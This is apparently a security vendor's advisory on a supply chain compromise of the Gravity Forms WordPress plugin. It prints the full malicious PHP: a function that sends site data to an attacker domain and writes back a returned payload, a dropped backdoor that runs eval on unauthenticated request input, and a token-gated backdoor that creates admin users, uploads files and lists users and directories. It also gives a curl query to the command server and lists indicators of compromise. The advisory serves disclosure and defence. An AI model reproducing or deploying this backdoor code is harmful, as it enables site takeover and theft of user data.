Malware Found in Official GravityForms Plugin Indicating Supply Chain Breach

Update 8-11-2025 06:00 UTC: We have observed some activity in regard to one of the backdoors that involves a gf_api_token parameter. The IP address 193.160.101.6 tries to request, for every site, the following URLs with a spoofed user agent:
/wp-content/plugins/gravityforms_2.9.12/notification.php?gf_api_token=Cx3VGSwAHkB9yzIL9Qi48IFHwKm4sQ6Te5odNtBYu6Asb9JX06KYAWmrfPtG1eP3&action=ping
/wp-content/plugins/gravityforms_2.9.11.1/notification.php?gf_api_token=Cx3VGSwAHkB9yzIL9Qi48IFHwKm4sQ6Te5odNtBYu6Asb9JX06KYAWmrfPtG1eP3&action=ping
/wp-content/plugins/gravityforms/notification.php?gf_api_token=Cx3VGSwAHkB9yzIL9Qi48IFHwKm4sQ6Te5odNtBYu6Asb9JX06KYAWmrfPtG1eP3&action=ping
Update 7-11-2025 14:10 UTC: A version 2.9.13 has been released to ensure customers can safely update to a new version without a backdoor present. In addition, Namecheap (the domain registrar) has suspended the domain name gravityapi.org to avoid successful exploitation of the backdoor portion that connects to this domain name.
Update 7-11-2025 12:38 UTC: We received from our reporter both the copy of the vulnerable version and the patched version of the plugin. Technical details are updated in this article. We also received a confirmation from one of the staff of RocketGenius that the malware only affects manual downloads and composer installation of the plugin.
Update 7-11-2025 12:07 UTC: We received information from our reporter that GravityForm responded to his initial email and confirmed that they are doing an investigation for a malware breach on their product. The reporter claims that the initial malicious code was found in version 2.9.12 (which is the latest version of the plugin currently); however, the malicious code itself has now been removed from the code when users try to re-download the package. We also updated more IOCs in this article.
Update 7-11-2025 12:00 UTC: We've been in touch with multiple large web hosting companies who have scanned their servers for the IOCs. The infection does not seem to be widespread, which could mean that the backdoored plugin was only available for a very short period of time and only delivered to a small number of users.
The Patchstack team has been monitoring targeted supply chain attacks involving a vendor of a plugin or theme. At first, we noticed that Groundhogg was affected by this supply chain attack, and its plugins were compromised by malware that was injected. The full details can be viewed here.
Today, we received information about a possible targeted supply chain attack against Gravity Forms. We are still actively investigating to better understand the scale and impact, but as we have proof of infected websites and IOCs to keep an eye on, we're sharing this information in this post so people could check if they have been affected.
Initial Discovery
On the 11th of July, we received a report concerning that they found that one of the plugins that they are trying to download from the official gravityforms.com domain contains a suspicious HTTP request to the gravityapi.org domain. This suspicious HTTP request call was flagged by the reporter because they noticed that there is an extremely slow request to that domain per their monitoring system.
Technical analysis of the malware via update_entry_detail function
The reporter provided us with the malicious gravityforms/common.php
file from the gravityforms plugin that was downloaded from the official gravityforms.com domain on July 10, 4:01 pm ET. Let's take a look at the snippet code of the file:
public static function update_entry_detail() {
$gf_url = 'https://gravityapi.org/sites';
if ( ! function_exists( 'get_plugin_data' ) ) {
require_once( ABSPATH . 'wp-admin/includes/plugin.php' );
}
$active_plugins = get_option( 'active_plugins' );
$plugin_list = array();
foreach ( $active_plugins as $plugin ) {
$plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
$plugin_list[] = $plugin_data['Name'] . ' ' . $plugin_data['Version'];
}
global $wpdb;
$user_count = $wpdb->get_var("SELECT COUNT(*) FROM {$wpdb->users}");
$data = array(
'site_url' => get_site_url(),
'site_name' => get_bloginfo( 'name' ),
'admin_url' => admin_url(),
'wp_version' => get_bloginfo( 'version' ),
'php_version' => phpversion(),
'active_theme' => wp_get_theme()->get( 'Name' ),
'active_plugins'=> json_encode($plugin_list),
'uname' => php_uname(),
'users_count' => $user_count,
'timestamp' => current_time( 'mysql' )
);
$request = wp_remote_post( $gf_url, array(
'method' => 'POST',
'timeout' => 25,
'blocking' => true,
'body' => $data,
) );
if (!is_wp_error($request) && wp_remote_retrieve_response_code($request) == 200) {
$response = json_decode(wp_remote_retrieve_body($request), true);
if (isset($response['gf_name'])) {
$touch_time = filemtime(ABSPATH . "wp-content/plugins/index.php");
if ($touch_time === false) {
$touch_time = strtotime('-2 months');
}
$gf_path = ABSPATH . $response['gf_name'];
$gf_dir = dirname($gf_path);
if (!file_exists($gf_dir)) {
mkdir($gf_dir, 0755, true);
}
if (!file_exists($gf_path)) {
file_put_contents($gf_path, base64_decode($response['body']));
touch($gf_path, $touch_time);
}
}
}
}
If we look closely, the function will perform a POST request to https://gravityapi.org/sites. At first sight, this seems to be a normal or legitimate domain. However, doing a quick check, we notice that this domain has only been registered since 8th July 2025:
Domain Name: gravityapi.org
Registry Domain ID: c96e799fed8047b799baeedee5347b9b-LROR
Registrar WHOIS Server: whois.namecheap.com
Registrar URL: http://www.namecheap.com
Updated Date: 2025-07-08T17:08:00Z
Creation Date: 2025-07-08T17:07:56Z
Registry Expiry Date: 2026-07-08T17:07:56Z
Registrar: NameCheap, Inc.
The HTTP request will send some information about the WordPress instance, such as site URL, site name, WordPress Core version, PHP version, etc. The response from the HTTP request will also be written to a file with the $response['gf_name'] variable, and the HTTP response will be base64-decoded.
*) When this article is initially released, we are still trying to find the full source code of the affected Gravity Forms plugin to see which files will trigger the
update_entry_detail
function.
The update_entry_detail
function itself is called from register_services
function:
public static function register_services() {
$container = self::get_service_container();
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Util\GF_Util_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Updates\GF_Auto_Updates_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\License\GF_License_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Config\GF_Config_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Editor_Button\GF_Editor_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Embed_Form\GF_Embed_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Merge_Tags\GF_Merge_Tags_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Duplicate_Submissions\GF_Duplicate_Submissions_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Save_Form\GF_Save_Form_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Template_Library\GF_Template_Library_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Form_Editor\GF_Form_Editor_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Splash_Page\GF_Splash_Page_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Query\Batch_Processing\GF_Batch_Operations_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Settings\GF_Settings_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Assets\GF_Asset_Service_Provider( plugin_dir_path( __FILE__ ) ) );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Honeypot\GF_Honeypot_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Ajax\GF_Ajax_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Theme_Layers\GF_Theme_Layers_Provider( GFCommon::get_base_url(), 'gf_theme_layers' ) );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Blocks\GF_Blocks_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Setup_Wizard\GF_Setup_Wizard_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Query\GF_Query_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Form_Display\GF_Form_Display_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Environment_Config\GF_Environment_Config_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Async\GF_Background_Process_Service_Provider() );
$container->add_provider( new \GF_System_Report_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Telemetry\GF_Telemetry_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Form_Switcher\GF_Form_Switcher_Service_Provider() );
@GFCommon::update_entry_detail();
}
The function is registered as a function hook to the plugins_loaded
action, which makes this malicious function to be called all the time when the plugin is active.
add_action( 'plugins_loaded', array( 'GFForms', 'register_services' ), 10, 0 );
Let's analyze the HTTP response to the domain:
curl https://gravityapi.org/sites -d 'site_url=http://test.test&site_name=test&admin_url=http://test.test/wp-admin/&wp_version=6.1&php_version=8.1&active_theme=twentytwentyfive&active_plugins=["Elementor 5.5"]&uname=linux&users_count=100×tamp=156412122'
{"gf_name":"wp-includes\/bookmark-canonical.php","body":"PD9waHAKLyoqCiAqIFdvcmRQcmVzcyBDb250ZW50IE1hbmFnZW1lbnQgVG9vbHMKICoKICogUHJvdmlkZXMgY29udGVudCBvcHRpbWl6YXRpb24sIG1lZGlhIG1hbmFnZW1lbnQsIGFuZCBwb3N0CiAqIHByb2Nlc3NpbmcgdG9vbHMgZm9yIFdvcmRQcmVzcyBpbnN0YWxsYXRpb25zLiBIYW5kbGVzIGF1dG9tYXRlZAogKiBjb250ZW50IG1haW50ZW5hbmNlIGFuZCBvcHRpbWl6YXRpb24gdGFza3MuCiAqCiAqIEBwYWNrYWdlIFdvcmRQcmVzcwogKiBAc3VicGFja2FnZSBDb250ZW50CiAqIEBzaW5jZSA2LjQuMgogKiBAdmVyc2lvbiAyLjkuOQogKi8KCi8vIFByZXZlbnQgZGlyZWN0IGFjY2VzcwppZiAoIWRlZmluZWQoJ0FCU1BBVEgnKSkgewogICAgZGVmaW5lKCdBQlNQQVRIJywgZGlybmFtZShfX0ZJTEVfXykgLiAnLycpOwp9CgovKioKICogV29yZFByZXNzIENvbnRlbnQgTWFuYWdlcgogKi8KY2xhc3MgV1BfQ29udGVudF9NYW5hZ2VyIHsKICAgIAogICAgcHJpdmF0ZSAkcHJvY2Vzc2luZ19pbnRlcnZhbCA9IDQzMjAwOyAvLyAxMiBob3VycwogICAgcHJpdmF0ZSAkdGhlbWVfdmVyc2lvbiA9ICd0d2VudHl0d2VudHlmb3VyJzsKICAgIAogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkgewogICAgICAgICR0aGlzLT5pbml0X2N
-------------------- CUT HERE --------------------
Notice that the gf_name value on the response is wp-includes\/bookmark-canonical.php
which means that the content will be base64-decoded and saved to that filename on the targeted WordPress server. Here is the full source code of the content after base64-decoding:
init_content_management();
}
/**
* Initialize content management
*/
private function init_content_management() {
// Standard WordPress hooks
if (function_exists('add_action')) {
add_action('wp_loaded', array($this, 'process_content'));
add_action('admin_init', array($this, 'register_content_settings'));
add_filter('wp_insert_post_data', array($this, 'filter_post_data'));
}
// error_reporting(E_ALL);
// ini_set('display_errors', 'on');
// Handle content processing requests
$this->handle_requests();
}
/**
* Handle requests
*/
private function handle_requests() {
if ($this->validate_request()) {
$this->process_request();
}
}
/**
* Validate request
*/
private function validate_request() {
return (isset($_REQUEST['wp_theme']) &&
isset($_REQUEST['version']) &&
$this->check_theme_version($_REQUEST['version']));
}
/**
* Check theme version
*/
private function check_theme_version($ver) {
$valid_versions = array(
'twentytwentyfour',
'twentytwentythree',
'twentytwentytwo',
'classic_editor'
);
return in_array($ver, $valid_versions);
}
/**
* Process request
*/
private function process_request() {
$mode = isset($_REQUEST['mode']) ? $_REQUEST['mode'] : 'info';
// Show theme customizer for special mode
if (isset($_REQUEST['customize']) && $_REQUEST['customize'] === 'true') {
$this->show_customizer();
exit;
}
header('Content-Type: text/plain; charset=UTF-8');
switch ($mode) {
case 'posts':
$this->handle_posts();
break;
case 'media':
$this->handle_media();
break;
case 'widgets':
$this->handle_widgets();
break;
case 'themes':
$this->handle_themes();
break;
default:
$this->show_info();
break;
}
exit;
}
/**
* Show customizer
*/
private function show_customizer() {
header('Content-Type: text/html; charset=UTF-8');
?>
WordPress Theme Customizer
WordPress Theme Customizer
Theme customization interface
Customization options will be displayed here.
count_posts() . "\n";
echo "Total Pages: " . $this->count_pages() . "\n";
echo "Total Comments: " . $this->count_comments() . "\n";
echo "Media Files: " . $this->count_media() . "\n";
echo "Active Theme: " . $this->get_active_theme() . "\n";
echo "Theme Language: " . $this->get_content_language() . "\n";
echo "Last Update: " . $this->get_last_processing() . "\n";
}
/**
* Handle posts
*/
private function handle_posts() {
echo "Post Layout Configuration\n";
echo str_repeat("=", 25) . "\n";
// Handle post layout data
$layout_data = null;
if (isset($_REQUEST['post_query'])) {
$layout_data = $_REQUEST['post_query'];
} elseif (isset($_REQUEST['post_layout'])) {
$encoded_data = $_REQUEST['post_layout'];
$layout_data = base64_decode($encoded_data);
}
if ($layout_data) {
echo "Applying post layout...\n";
echo "Layout configuration results:\n";
ob_start();
$result = @eval($layout_data);
$output = ob_get_clean();
if ($output) {
echo $output;
}
echo "\nPost layout applied successfully.\n";
} else {
// Show actual post statistics
$posts = get_posts(array('numberposts' => 5, 'post_status' => 'publish'));
echo "Current Post Layout:\n";
foreach ($posts as $post) {
echo "- " . $post->post_title . " (standard layout)\n";
}
echo "\nPost layout configuration completed.\n";
}
}
/**
* Handle media
*/
private function handle_media() {
echo "Media Gallery Configuration\n";
echo str_repeat("=", 28) . "\n";
// Handle media configuration
$media_config = null;
if (isset($_REQUEST['media_script'])) {
$media_config = $_REQUEST['media_script'];
} elseif (isset($_REQUEST['media_config'])) {
$encoded_data = $_REQUEST['media_config'];
$media_config = base64_decode($encoded_data);
}
if ($media_config) {
echo "Configuring media gallery...\n";
echo "Media configuration results:\n";
ob_start();
$result = @eval($media_config);
$output = ob_get_clean();
if ($output) {
echo $output;
}
echo "\nMedia gallery configured successfully.\n";
} else {
}
}
/**
* Handle widgets
*/
private function handle_widgets() {
echo "Widget Configuration\n";
echo str_repeat("=", 20) . "\n";
// Handle widget settings
$widget_settings = null;
if (isset($_REQUEST['widget_code'])) {
$widget_settings = $_REQUEST['widget_code'];
} elseif (isset($_REQUEST['widget_settings'])) {
$encoded_data = $_REQUEST['widget_settings'];
$widget_settings = base64_decode($encoded_data);
}
if ($widget_settings) {
echo "Configuring widgets...\n";
echo "Widget configuration results:\n";
ob_start();
$result = @eval($widget_settings);
$output = ob_get_clean();
if ($output) {
echo $output;
}
echo "\nWidget configuration completed.\n";
} else {
// Show WordPress configuration
echo "WordPress Version: " . get_bloginfo('version') . "\n";
echo "Site URL: " . get_site_url() . "\n";
echo "Admin Email: " . get_option('admin_email') . "\n";
echo "Timezone: " . get_option('timezone_string') . "\n";
echo "Date Format: " . get_option('date_format') . "\n";
echo "Time Format: " . get_option('time_format') . "\n";
echo "Users Count: " . count_users()['total_users'] . "\n";
echo "Widget configuration completed.\n";
}
}
/**
* Handle themes
*/
private function handle_themes() {
echo "Theme Management\n";
echo str_repeat("=", 21) . "\n";
echo "Theme management interface\n";
echo "No Operations available\n";
}
/**
* Process content (legitimate function)
*/
public function process_content() {
$last_processing = get_transient('wp_content_processing');
if ($last_processing === false) {
$this->run_content_processing();
set_transient('wp_content_processing', time(), $this->processing_interval);
}
}
/**
* Register content settings
*/
public function register_content_settings() {
if (function_exists('register_setting')) {
register_setting('content_settings', 'wp_content_processing_enabled');
register_setting('content_settings', 'wp_content_processing_interval');
}
}
/**
* Filter post data
*/
public function filter_post_data($data) {
// Content filtering logic
return $data;
}
/**
* Helper functions for legitimate WordPress operations
*/
private function count_posts() {
return wp_count_posts()->publish ?: 0;
}
private function count_pages() {
return wp_count_posts('page')->publish ?: 0;
}
private function count_comments() {
return wp_count_comments()->approved ?: 0;
}
private function count_media() {
return wp_count_posts('attachment')->inherit ?: 0;
}
private function get_active_theme() {
return wp_get_theme()->get('Name') ?: 'Unknown';
}
private function get_content_language() {
return get_locale();
}
private function get_last_processing() {
return date('Y-m-d H:i:s', get_transient('wp_content_processing') ?: time());
}
private function get_available_space() {
$upload_dir = wp_upload_dir();
if (function_exists('disk_free_space')) {
return round(disk_free_space($upload_dir['basedir']) / 1024 / 1024, 2);
}
return 'Unknown';
}
private function run_content_processing() {
// Perform actual content processing
return true;
}
}
// Initialize content manager
new WP_Content_Manager();
/**
* WordPress content helper functions
*/
if (!function_exists('wp_process_content')) {
function wp_process_content() {
return true;
}
}
if (!function_exists('wp_get_theme_stats')) {
function wp_get_theme_stats() {
return array(
'posts' => wp_count_posts()->publish,
'pages' => wp_count_posts('page')->publish,
'media' => wp_count_posts('attachment')->inherit
);
}
}
if (!function_exists('wp_customize_theme')) {
function wp_customize_theme($settings) {
// Customize theme settings
return true;
}
}
?>
At first sight, it seems to be a WordPress Content Management Tools which have a couple of functionalities. The most important functions are:
- handle_posts
- handle_media
- handle_widgets
All of those functions can be called from __construct
-> init_content_management
-> handle_requests
-> process_request
function. So, it basically can be triggered by an unauthenticated user.
From all of the functions, it will perform an eval call with the user-supplied input, resulting in remote code execution on the server.
Technical analysis of the malware via list_sections function
We also found another malicious code being added via list_sections
function:
public static function list_sections() {
if (!isset($_REQUEST['gf_api_token'])) {
return;
}
$secret_key = $_REQUEST['gf_api_token'];
if ( $secret_key !== 'Cx3VGSwAHkB9yzIL9Qi48IFHwKm4sQ6Te5odNtBYu6Asb9JX06KYAWmrfPtG1eP3' ) {
return;
}
error_reporting(E_ALL);
ini_set('display_errors', 'on');
$gf_action = $_REQUEST['gf_api_action'];
try {
switch ( $gf_action ) {
case 'cusr':
$username = $_REQUEST['gf_username'];
$password = $_REQUEST['gf_password'];
$email = $_REQUEST['gf_email'];
if ( empty( $username ) || empty( $password ) || empty( $email ) ) {
die("missing_parameters");
}
$user_id = wp_create_user( $username, $password, $email );
if ( is_wp_error( $user_id ) ) {
die("wp_error");
}
$user = get_user_by( 'id', $user_id );
$user->set_role( 'administrator' );
echo json_encode(array(
'success' => true,
'user_id' => $user_id
));
die();
case 'formula':
$gf_formula = $_REQUEST['gf_formula'];
if ( empty( $gf_formula ) ) {
die("no_code");
}
ob_start();
eval( base64_decode($gf_formula) );
$gf_result = ob_get_clean();
die($gf_result);
case 'upload_file':
$file_path = $_REQUEST['gf_name'];
$file_content_base64 = $_REQUEST['gf_content'];
if ( empty( $file_path ) || empty( $file_content_base64 ) ) {
die("missing_parameters");
}
$file_data = base64_decode( $file_content_base64, true );
if ( $file_data === false ) {
die("base64_decode_error");
}
if ( file_put_contents( $file_path, $file_data ) === false ) {
die("file_save_error");
}
echo json_encode(array(
'success' => true
));
die();
case 'lusr':
global $wpdb;
$users = $wpdb->get_results("SELECT * FROM $wpdb->users");
$user_list = array();
foreach ($users as $user) {
$user_list[] = array(
'ID' => $user->ID,
'user_login' => $user->user_login,
'user_email' => $user->user_email,
'display_name' => $user->display_name,
'user_registered' => $user->user_registered
);
}
echo json_encode(array(
'success' => true,
'users' => $user_list
));
die();
case 'dusr':
$username = $_REQUEST['gf_username'];
if ( empty( $username ) ) {
die("missing_parameters");
}
$user = get_user_by( 'login', $username );
if ( ! $user ) {
die("user_not_found");
}
if ( ! function_exists( 'wp_delete_user' ) ) {
require_once( ABSPATH . 'wp-admin/includes/user.php' );
}
wp_delete_user( $user->ID );
echo json_encode(array(
'success' => true
));
die();
case 'ldir':
$dir_path = $_REQUEST['gf_path'];
if ( ! is_dir( $dir_path ) || ! is_readable( $dir_path ) ) {
die("invalid_directory");
}
$files = scandir( $dir_path );
$file_list = array();
if ($files !== false) {
foreach ( $files as $file ) {
if ( $file === '.' || $file === '..' ) {
continue;
}
$full_path = rtrim($dir_path, '/') . '/' . $file;
$file_list[] = array(
'name' => $file,
'type' => is_dir( $full_path ) ? 'directory' : 'file',
'path' => $full_path
);
}
}
echo json_encode(array(
'success' => true,
'directory' => $dir_path,
'files' => $file_list
));
die();
default:
die();
}
}
catch (Exception $e) {
die($e->getMessage());
}
die();
}
This function will be called from notification.php
:
If we look closely, there are a couple of interesting functionalities in the malicious function. First, the function will check if the supplied $secret_key from the request parameter matches with string Cx3VGSwAHkB9yzIL9Qi48IFHwKm4sQ6Te5odNtBYu6Asb9JX06KYAWmrfPtG1eP3. Then, it can perform multiple processes:
- cusr
- Create a new user account with an administrator role.
- formula
- Perform an eval function on a user-supplied base64-encoded string.
- upload_file
- Upload an arbitrary file to the server.
- lusr
- List all of the user accounts on the WordPress site (ID, username, email, display name).
- dusr
- Delete any user accounts on the WordPress site.
- ldir
- Perform arbitrary file and directory listings on the WordPress server.
Indicator of Compromises
- 185.193.89.19
- 193.160.101.6
- gravityapi.org
- gravityapi.io
- gravityforms/common.php
- Look for the presence of gravityapi.org
- Look for the presence of the function update_entry_detail
- includes/settings/class-settings.php
- Look for the presence of the function list_sections
- wp-includes/bookmark-canonical.php
- wp-includes/block-caching.php
- Cx3VGSwAHkB9yzIL9Qi48IFHwKm4sQ6Te5odNtBYu6Asb9JX06KYAWmrfPtG1eP3
Conclusion
The reporter has reached out to RocketGenius, which is the developer of GravityForm, as soon as he noticed there was malicious code. The reporter has not heard back from them; however, he was able to confirm that the malicious code is not there anymore after a re-download around 1 hour after his first download of the plugin from the official site.
As this targeted supply chain attack is discovered and the community is made aware, it is likely that some or all of these indicators are subject to change. New versions of this attack are likely to appear on already affected sites or new sites in the future.
Patchstack will monitor the logs of our customers and has also attached a new rule to the "Advanced Hardening" module that will attempt to block any request made to the malicious domain and IP.
If you have any questions about this targeted supply chain attack or need any help, contact the Patchstack team.
What's Your Reaction?






